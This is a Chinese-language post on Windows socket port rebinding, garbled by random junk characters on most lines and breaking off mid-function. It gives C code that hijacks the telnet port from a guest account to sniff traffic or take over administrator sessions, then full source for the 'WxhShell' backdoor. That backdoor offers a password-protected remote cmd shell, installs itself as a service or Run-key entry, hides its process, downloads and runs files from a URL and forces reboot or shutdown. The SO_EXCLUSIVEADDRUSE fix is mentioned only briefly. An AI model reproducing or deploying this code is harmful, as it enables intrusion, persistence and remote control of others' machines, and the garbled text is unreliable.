在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
\>su97 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
&pl)E$Y &T-:`( saddr.sin_family = AF_INET;
"viZ"/~6 DaH4 Br.2 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
:M;|0w*b MuO(%.H bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
%D-!<)z N]8/l:@ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Lm$KR!z ^Zpz@T>m 这意味着什么?意味着可以进行如下的攻击:
$lB!Q8a$
Mb_"M7 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
q:F6MW Bph(\=
W 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
rG-x 3>b &hVf=We 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
a@|`!<5 tZ) ,Z< 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
DFfh!KKR$ Dt5AG 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
"@ZwDg` TH>uL;?= 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
@6_w{6:b WjVm{ 7?{ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
[)X( Qtk Z>`frL #include
,X|
>d #include
kFQo[O] #include
G{pF! q #include
]x1ba_ DWORD WINAPI ClientThread(LPVOID lpParam);
@0:Eg 1- int main()
U0|wC,7" {
Cjt].XR@ WORD wVersionRequested;
R8.@5g_ DWORD ret;
3-y2i/4}$ WSADATA wsaData;
V
7 p{'C BOOL val;
1.2qh"# SOCKADDR_IN saddr;
s Wj:m ) SOCKADDR_IN scaddr;
!K.)Qr9 V int err;
]q#"8= SOCKET s;
m{*_%tjN0 SOCKET sc;
O~J f"Ht int caddsize;
UM1h[#?&V) HANDLE mt;
d|tNn@jN DWORD tid;
z\k6."e_& wVersionRequested = MAKEWORD( 2, 2 );
Hm 0;[i err = WSAStartup( wVersionRequested, &wsaData );
K_j*9@ if ( err != 0 ) {
NHdNCHhA>- printf("error!WSAStartup failed!\n");
(=%0x"' return -1;
s7`2ky()kz }
_B&;z $ saddr.sin_family = AF_INET;
zcV~)go6 *wdNZ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
EwfL.z w$qdV,s 7 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
J"eE9FLM saddr.sin_port = htons(23);
RXO}mu]Iu if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
M&(0n?R"R {
7
A{R0@ printf("error!socket failed!\n");
P` CQ)o return -1;
nwJub$5 }
NmNj0& val = TRUE;
>.gT9 //SO_REUSEADDR选项就是可以实现端口重绑定的
,[| i^ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
2j^8{Agz {
V#&S&dn printf("error!setsockopt failed!\n");
/jc;
2 return -1;
_Pw5n
mH c }
R,hwn2@B //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
gfXit$s //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
FYaBP;@J% //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
/KgP<2p -!j5j:RR if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
,PWMl[X {
0VgsV; ret=GetLastError();
)P W Zc?M printf("error!bind failed!\n");
|'k7 ;UW return -1;
EzU=q
E }
]D>\Z(b listen(s,2);
x50ZwV&j while(1)
78'3&,+si {
N,ihQB5 caddsize = sizeof(scaddr);
Xj6?,J //接受连接请求
n~yhX%=_Du sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
`g'9)Xf4KT if(sc!=INVALID_SOCKET)
TwZmZE ?! {
!5zj+N mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
r [n vgzv@ if(mt==NULL)
lt C {
GZiN&}5e printf("Thread Creat Failed!\n");
0@jhNtL break;
3jM+j_nR }
$Ehe8,=fj }
]EvK.ORy CloseHandle(mt);
F$,i_7Z&6 }
ibuoq X` closesocket(s);
dJ,,yA* WSACleanup();
=W'{xG} return 0;
y(6*)~Dh }
QL@}hw.F DWORD WINAPI ClientThread(LPVOID lpParam)
8Vm)jnM {
4V
5 SOCKET ss = (SOCKET)lpParam;
-[A=\]RfJ SOCKET sc;
@3Mp>u/ unsigned char buf[4096];
<QRRD*\ SOCKADDR_IN saddr;
JW=P}h long num;
g/z7_Aq/ DWORD val;
Q[% +y. DWORD ret;
^' b[#DG>F //如果是隐藏端口应用的话,可以在此处加一些判断
V%w]HIhq //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
$@ZrGT saddr.sin_family = AF_INET;
3B ;aoejHm saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
sTzt saddr.sin_port = htons(23);
";/,FUJJ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
8|S}!P" {
;LFs.Jc< printf("error!socket failed!\n");
yex0rnQ| return -1;
BWG#W C }
AI*1kxR val = 100;
pM_oIH'8: if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
-* piC( {
.^FdO$" ret = GetLastError();
X2C&q$8 return -1;
} |? W }
a.G;s2> if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
OYk/K70l3 {
05[k@f$n ret = GetLastError();
,=t}|!jx return -1;
{edjvPlk }
_*dUH5 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
gO]jeO {
`BKV/Xl printf("error!socket connect failed!\n");
,wH]|`w closesocket(sc);
5wy3C closesocket(ss);
$r/tVu2!W return -1;
+J(@. }
t8z=R6zX while(1)
(Q][d+} / {
6nHyd<o //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
-@G,Ry-\t //如果是嗅探内容的话,可以再此处进行内容分析和记录
`RLn)a //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
!:<n]-U num = recv(ss,buf,4096,0);
P4 dhP-t if(num>0)
]^DNzqu=@h send(sc,buf,num,0);
~V!gHJ5M else if(num==0)
lX|d:HFtP break;
"midC(rTm num = recv(sc,buf,4096,0);
^q)s if(num>0)
iz\GahK send(ss,buf,num,0);
222Mm/QN else if(num==0)
bZzB\FB~ break;
_(J/$D }
1usLCG>w{ closesocket(ss);
9/I|oh_
G closesocket(sc);
w4\g]\ return 0 ;
/4#A|;d_ }
z(_#C
s ;UDd4@3`S" KMogwulG ==========================================================
?CUGJT -}Q^A_xK 下边附上一个代码,,WXhSHELL
qK12: je^=g nq ==========================================================
YgW 50)q^ EnnE@BJ" #include "stdafx.h"
u40<>A f"g-Hbl5 #include <stdio.h>
t7qY!S ( #include <string.h>
|$a!Zx94^ #include <windows.h>
HmZ* #include <winsock2.h>
QcG-/_,'} #include <winsvc.h>
We*&\e+"T #include <urlmon.h>
*B1%- 0GP\*Y8 #pragma comment (lib, "Ws2_32.lib")
zY&/^^y #pragma comment (lib, "urlmon.lib")
qA5PIEvdq Ij9ezNZT= #define MAX_USER 100 // 最大客户端连接数
%[H|3 #define BUF_SOCK 200 // sock buffer
a\?-uJ+ #define KEY_BUFF 255 // 输入 buffer
4-veO3&.h zKX|m-i|2 #define REBOOT 0 // 重启
3"y,UtKGa #define SHUTDOWN 1 // 关机
Ht=h9}x"g }D\i1/Y #define DEF_PORT 5000 // 监听端口
~_Q1+ax} W"*~1$vf #define REG_LEN 16 // 注册表键长度
,"EgYd8-' #define SVC_LEN 80 // NT服务名长度
86<[!ZM -"MB(` // 从dll定义API
),]XN#jp(u typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
g|rbkK%SoE typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
kKEs >a typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
s2ixiv= typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
On4tK\l@ TIre,s)_ // wxhshell配置信息
2u?k;"]V struct WSCFG {
k@/s-^ry3 int ws_port; // 监听端口
|ww@V<'/# char ws_passstr[REG_LEN]; // 口令
1a>TJdoa int ws_autoins; // 安装标记, 1=yes 0=no
Q%
LQP!Kg char ws_regname[REG_LEN]; // 注册表键名
vv5 u U8 char ws_svcname[REG_LEN]; // 服务名
y=spD^tM8 char ws_svcdisp[SVC_LEN]; // 服务显示名
1^_V8dm) char ws_svcdesc[SVC_LEN]; // 服务描述信息
"-aCF char ws_passmsg[SVC_LEN]; // 密码输入提示信息
C)xM>M_CB int ws_downexe; // 下载执行标记, 1=yes 0=no
[/IN820t char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
yEB1gYJB char ws_filenam[SVC_LEN]; // 下载后保存的文件名
MclW!CmJ 5svM3 # };
Ir :y# ~s4o1^6L // default Wxhshell configuration
:#&Y struct WSCFG wscfg={DEF_PORT,
;>Q.r{P "xuhuanlingzhe",
T.x"a$AU 1,
HHcWyu "Wxhshell",
oQ"J>`', "Wxhshell",
Z %\*\6L) "WxhShell Service",
-J\R}9 lIm "Wrsky Windows CmdShell Service",
qVMBZ\`Qm "Please Input Your Password: ",
bL9vjD'} 1,
L>.*^] "
http://www.wrsky.com/wxhshell.exe",
*Y/}EX!F "Wxhshell.exe"
7t~12m8x };
LOf)D7T W5_aS2$ // 消息定义模块
rVF7!|& char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
%kSpMj| char *msg_ws_prompt="\n\r? for help\n\r#>";
ipdGAG char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
C|hD^m char *msg_ws_ext="\n\rExit.";
1}Mdo&:t char *msg_ws_end="\n\rQuit.";
fA{t\ char *msg_ws_boot="\n\rReboot...";
.tH[A[/1 a char *msg_ws_poff="\n\rShutdown...";
Tj
v)jD char *msg_ws_down="\n\rSave to ";
]mSkjKw t],5{UF char *msg_ws_err="\n\rErr!";
jNu`umS char *msg_ws_ok="\n\rOK!";
cH>3|B*y YR/%0^M'0 char ExeFile[MAX_PATH];
6h%_\I.Z[[ int nUser = 0;
+o[-ED HANDLE handles[MAX_USER];
Bq4^nDK int OsIsNt;
g886RhCe
I("lGY SERVICE_STATUS serviceStatus;
g;To}0H SERVICE_STATUS_HANDLE hServiceStatusHandle;
Kdr7JQYzuz Ia!B8$$'RP // 函数声明
ywj'S7~A int Install(void);
Wd<|DmSy int Uninstall(void);
5,Hj$v7fe int DownloadFile(char *sURL, SOCKET wsh);
>IFqwh7b int Boot(int flag);
3:~ *cU void HideProc(void);
%=EN 3>, int GetOsVer(void);
kK&M>)&o# int Wxhshell(SOCKET wsl);
"-afHXED void TalkWithClient(void *cs);
0P7sMCYu int CmdShell(SOCKET sock);
CS|al(?~ int StartFromService(void);
R7Z7o4jg int StartWxhshell(LPSTR lpCmdLine);
}I>h<O b^q8s4( VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
U1 ;<NUg VOID WINAPI NTServiceHandler( DWORD fdwControl );
3Eu;_u_ 8PXjdHR // 数据结构和表定义
3]cW08"c SERVICE_TABLE_ENTRY DispatchTable[] =
[JyhzYf\ {
o~ J~-$T{ {wscfg.ws_svcname, NTServiceMain},
v|
Yh]y {NULL, NULL}
odaCKhdk };
L2<IG)oXU wJ Qm7n-+ // 自我安装
h5^qo ^;g7 int Install(void)
$3c9iVK~_ {
o7=#ye&P char svExeFile[MAX_PATH];
PqVz^(Wz HKEY key;
N6UPD11}6 strcpy(svExeFile,ExeFile);
xN
CU5 uZhY)o*]@ // 如果是win9x系统,修改注册表设为自启动
j Wjp0ii if(!OsIsNt) {
Uuq*;L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
n3B#M}R RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
CD:$22*] RegCloseKey(key);
_6!@>`u~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
&$L6*+`h# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
-J'0qN! RegCloseKey(key);
yhG%@vSq return 0;
odsLFU( }
4157!w'\y }
/(jG9RM }
6i`Y]\X~# else {
5 ^867
7I4<Dj // 如果是NT以上系统,安装为系统服务
##r9/`A SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
TnXx;v if (schSCManager!=0)
(mOL<h[)IP {
tB)nQw7 SC_HANDLE schService = CreateService
Xdl7'~k (
y)*W!]:7^> schSCManager,
u0{R;) wscfg.ws_svcname,
&w'1 wscfg.ws_svcdisp,
e gdbv SERVICE_ALL_ACCESS,
|9Pi*)E SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
-50Qy[0. " SERVICE_AUTO_START,
sEzl4I SERVICE_ERROR_NORMAL,
k;V (rf` svExeFile,
G<:gNWXd\ NULL,
`)WC|= w2 NULL,
Rx,5?*b$ NULL,
g)L<xN8 NULL,
[~{'"-3L0 NULL
;m#_Rj6 );
Kv~'*A)d if (schService!=0)
HnsPXF'8g {
K=N8O8R$y CloseServiceHandle(schService);
%Kzu&*9Hb CloseServiceHandle(schSCManager);
Vf#g~IOI strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
LTWiCI strcat(svExeFile,wscfg.ws_svcname);
^Gwpx+ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
[MXyOE RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
5hj
_YqQ7 RegCloseKey(key);
VKMgcfbHr/ return 0;
CEh!X=Nn }
7#+>1 "\ }
twP%+/g]< CloseServiceHandle(schSCManager);
}Yargj_Gn }
\]|(w*C }
RaC8Sq7hW 51gSbkVX
return 1;
8T5W6Zs1 }
~+S,`8-P A{%LL r: // 自我卸载
a&Z;$ int Uninstall(void)
Bg. {
Uu[dx}y HKEY key;
":!1gC XImX1GH if(!OsIsNt) {
a^g}Z7D'T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
'y&DOy/| RegDeleteValue(key,wscfg.ws_regname);
~c`%k>$
RegCloseKey(key);
eZ8DW6 l*
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^TEFKx}PX RegDeleteValue(key,wscfg.ws_regname);
szUJh9- RegCloseKey(key);
I3;03X<2 return 0;
LbUH`0:%t }
p`)Mk<`dYD }
M3!4,_!~ }
66{Dyn7J~ else {
K1CgM1 v w0P Atu SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
3R<VpN){ if (schSCManager!=0)
PwnfXsR {
dR!x)oO= SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
1Vx>\A if (schService!=0)
e/b
|
sl {
xV"~?vD if(DeleteService(schService)!=0) {
8lFYk`|g CloseServiceHandle(schService);
s1bb2R CloseServiceHandle(schSCManager);
uaqV)H return 0;
i
hcSS Um }
nm,(Wdr CloseServiceHandle(schService);
2$b JMx> }
@k9n 0Qe|F CloseServiceHandle(schSCManager);
z:oi@q }
n{(,r' }
($Q|9>5, %?Q< return 1;
HdRwDW@7= }
#xh
M&X cb }OjM F // 从指定url下载文件
A [_T~+-G int DownloadFile(char *sURL, SOCKET wsh)
xg;vQKS6 {
Ui'*$W]v HRESULT hr;
Nz>xilU' char seps[]= "/";
vLpIVNA]]Y char *token;
|]eWO#vs char *file;
U>0bgL char myURL[MAX_PATH];
y*!8[wASHq char myFILE[MAX_PATH];
{hoe^07XK 4+:'$Nw strcpy(myURL,sURL);
1L%$\0B4hm token=strtok(myURL,seps);
:cKdl[E4z while(token!=NULL)
{g 4`>^; {
9B/iQCFtj$ file=token;
q;.LK8M token=strtok(NULL,seps);
45H9pY w }
Y/T-2)D =w7+Yt GetCurrentDirectory(MAX_PATH,myFILE);
\|C*b< strcat(myFILE, "\\");
T0N6k acl strcat(myFILE, file);
q<[o 4qY send(wsh,myFILE,strlen(myFILE),0);
e4FR)d0x send(wsh,"...",3,0);
a H\A hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
ko"xR%Q if(hr==S_OK)
a5 pXn v]A return 0;
gOr%N!5 else
M7{_"9X{ return 1;
:qj7i( p@ U[fv8u }
pGr4b:N v oO7W" // 系统电源模块
R`M@;9I.@ int Boot(int flag)
HLPY%VeD {
G4ycP8 HANDLE hToken;
nF]zd%h TOKEN_PRIVILEGES tkp;
a,h]DkD 9W&nAr if(OsIsNt) {
tBVtIOm9 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
K/_"ybR7 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
/vpwpVHIpG tkp.PrivilegeCount = 1;
a7aj:.wi tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
P1R[M|Fx AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
%~[@5<p if(flag==REBOOT) {
h)^|VM
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
o%*C7bU return 0;
7CwWf }
S
R s else {
.\:MB7p if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
P 1 return 0;
^91Ae!)d }
na@Go@q }
BS%pS( else {
e ^ZY if(flag==REBOOT) {
u/V&1In if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
yd[4l%G(zS return 0;
|uI~}pSG }
`VF_rC[? else {
yb,$UT"] if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
i(kx'ua? return 0;
<o/l K\> }
Ii<k<Bt, }
DB}v.. 7~);,#[ky return 1;
Eqi;m,) }
pG22Nx JvNd'u)Z< // win9x进程隐藏模块
3p]\l ]= void HideProc(void)
/qFY$vj {
p)VMYu E{}J-_oS45 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
^Jw=5ImG if ( hKernel != NULL )
t{,e{oZx {
(M<l}pl) pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
)G-u;1rd ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Wiw~oXo FreeLibrary(hKernel);
egH,7f(yP }
B>c2 *+Bk S(/^_Y return;
+VL:O]`DJ }
)l.AsfW% .m.Ga|; // 获取操作系统版本
O8Z+g{ int GetOsVer(void)
Ai)>ot {
H?,Dv>.#* OSVERSIONINFO winfo;
14A(ZWwq9 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
,/kZt! GetVersionEx(&winfo);
g~U<0+&yw% if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
KpDb%j return 1;
*3s-=.U~ else
(" +clb` return 0;
{,1>( }
8|Ob7+ <[w5M?n8 // 客户端句柄模块
hj{)6dBX% int Wxhshell(SOCKET wsl)
~NLthZ(O {
?zfm"o SOCKET wsh;
KK{_s=t%< struct sockaddr_in client;
gk;hpO DWORD myID;
QO>';ul5 7]ySj<1 while(nUser<MAX_USER)
f>e0l'\ {
hQ@#h`lS int nSize=sizeof(client);
{&L^|X wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Db !8N if(wsh==INVALID_SOCKET) return 1;
w`fbUh6/ g<7Aln}Nl\ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
].2t7{64 if(handles[nUser]==0)
:4\%a4{Ie closesocket(wsh);
";7/8(LBZ else
CD5% iFy nUser++;
My Ky*wD }
;-BN~1Jg WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
\En"=)A BoOuN94 return 0;
[rW];H8:~ }
x-W~&`UU EhW"s%Q // 关闭 socket
Lf%=vd void CloseIt(SOCKET wsh)
W*Ow%$%2 {
%I{>H%CjE closesocket(wsh);
6J@,bB
jVz nUser--;
A&M(a ExitThread(0);
78 ]Kv^l^_ }
;?q}98-2 g4YlG"O[~ // 客户端请求句柄
!aKu9SR^e void TalkWithClient(void *cs)
|MagK$o {
f~ /hsp~Hp %*o SOCKET wsh=(SOCKET)cs;
1Kr$JIcd char pwd[SVC_LEN];
z30 mk char cmd[KEY_BUFF];
DuT6Od/f char chr[1];
sv!v`zh int i,j;
?k($Tc&Q !YI<A\P while (nUser < MAX_USER) {
o!U(=:*b UFu0{rY_ if(wscfg.ws_passstr) {
u&[L!w if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
9
W|'~r //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
FP}I+Ys //ZeroMemory(pwd,KEY_BUFF);
0pG +yec i=0;
N%ccy?B while(i<SVC_LEN) {
d R=0K qL`yaU // 设置超时
ZI1*Cb fd_set FdRead;
'[HQ}Wvn struct timeval TimeOut;
>`/s+V FD_ZERO(&FdRead);
A?$-Uqb"
FD_SET(wsh,&FdRead);
kjB'WzZ8 TimeOut.tv_sec=8;
Qe-Pg^PS] TimeOut.tv_usec=0;
^fH)E"qq5 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
d{t@+}0.u if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
_0FMwC#DY [\Nmm4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
4]$OO' pwd
=chr[0]; K=E+QvSG
if(chr[0]==0xd || chr[0]==0xa) { gat;Er
pwd=0; VH<d[Mj
break; BFhEDkk
} nB5\ocJ
i++; 5S_fvW;
} ]$ Nhy8-
w!v^6[!
// 如果是非法用户,关闭 socket NZa 7[}H
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %{pjC7j#
} 68(^*
cruBJZr*
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~d1=_p:~T
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x X[WX#'f
L N.:>,
while(1) { 6xwjKh:9
mpCu,l+lo
ZeroMemory(cmd,KEY_BUFF); 6({)O1Z
[]aw;\7}Y
// 自动支持客户端 telnet标准 "Nb2[R
j=0; BfCnyL%
while(j<KEY_BUFF) { 6 C
O5:\
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q4L=]qc T
cmd[j]=chr[0]; QBH|pr
if(chr[0]==0xa || chr[0]==0xd) { -mGG:#yP
cmd[j]=0; 0l& '`
break; 9<toDg_
} @$ Nti>
j++; <66%(J>
} TC44*BHq
j|`lOH8
// 下载文件 7SH3k=x
if(strstr(cmd,"http://")) { &-p~UZy
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ; %(sbA
if(DownloadFile(cmd,wsh)) HRrR"b9:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); FG+pR8aA$
else l4.ql1BX@y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =$^90Q,Z;
} }* }F_Y+
else { D`!BjhlW
q_`j-!
switch(cmd[0]) { doe3V-if
!lL
`L\
// 帮助 3c7i8b $
case '?': { b_6cK#
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7FyE?
break; GnUD<P=I
} [KHlApL
// 安装 QV HI}3~
case 'i': { ='w 2"4
if(Install()) ?u?mSO/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); iAk.pH]a
else B(vCi^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z<^EZX3N
break; ks6iy}f7
} n1JV)4Mv
// 卸载 +se OoTKR
case 'r': { 8 >LDo"<
if(Uninstall()) 3**t'iWQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); G4~@
else U1Fo #L
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >i >|]
break; 8#tuB8>
} KS$"Re$
// 显示 wxhshell 所在路径 _yR_u+5
case 'p': { )g^qgxnnV
char svExeFile[MAX_PATH]; oqysfLJ
strcpy(svExeFile,"\n\r"); q+oc^FD?@
strcat(svExeFile,ExeFile); q m_m8
send(wsh,svExeFile,strlen(svExeFile),0); )*XWe|H_
break; ?PTXgIC
} k'N``.
// 重启 ~|Ln9f-g
case 'b': { 0A~UuH0.
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #_aq@)Fd
if(Boot(REBOOT)) v=hn# U
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ (xdF
else { %,z;W-#gnY
closesocket(wsh); /3^XJb$Sa
ExitThread(0); iymN|KdpaZ
} :aaX Y:<
break; _>;MQ)Km~
} <)~-]
// 关机 <fDT/
case 'd': { lVq5>:'}^;
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {47l1wV]
if(Boot(SHUTDOWN)) tu$rVwgM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); P7,g^:$
else { Br}@Vvq@
closesocket(wsh); ENr#3+m$;
ExitThread(0); #\}FQl6
} o3|4PAA/
break; PH:5
} #X%!7tU6
// 获取shell NyRa.hgZ;
case 's': { t$Ff$(
CmdShell(wsh); hLuv
closesocket(wsh); UjoA$A!Od;
ExitThread(0); (BxmV1
break; w:deQ:k
} {'h&[f>zcQ
// 退出 v&/H6r#E.
case 'x': { |?{V-L
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +y'2 h%>h[
CloseIt(wsh); cAwqIihZ
break; ,"gPd!HD(
} u=W[ S)w
// 离开 >lQa"F=
case 'q': { D]*|Zmr+}
send(wsh,msg_ws_end,strlen(msg_ws_end),0); }i^|.VZZ
closesocket(wsh); VY8cy2
WSACleanup(); Cm%I/4
exit(1); n&P~<2^M#
break; ||wi4TP
} 0(f+a_2^Q
} n-jPb064
} ,vf#e=Z
'm6bfS^T
// 提示信息 zT6nC5E
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C,eP!_O
} BgT ^
} S#8)N`
D QxuV1
return; 1Hr1Ir<KR
} 7rRI-wZ
f"j9C%'*
// shell模块句柄 ]*mUc`
int CmdShell(SOCKET sock) p o)lN[v
{ EKF4]
STARTUPINFO si; K/N{F\
ZeroMemory(&si,sizeof(si)); =:w,wI.
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F_R\
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &@CUxK
PROCESS_INFORMATION ProcessInfo; j|Vl\Z&o)
char cmdline[]="cmd"; Xy K,
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kw2yb
return 0; M$@~|pQ<
} )LKJfoo
PY
cf"&22TQ+Z
// 自身启动模式 E%D .a=UX,
int StartFromService(void) |k*bWuXgLs
{ <W8%eRfU
typedef struct l P=I0A-
{ YQHpW>z
DWORD ExitStatus; ^c}3o|1m(
DWORD PebBaseAddress; N1c0>{
DWORD AffinityMask; GfK%UZ$C
DWORD BasePriority; Wj|W B*B
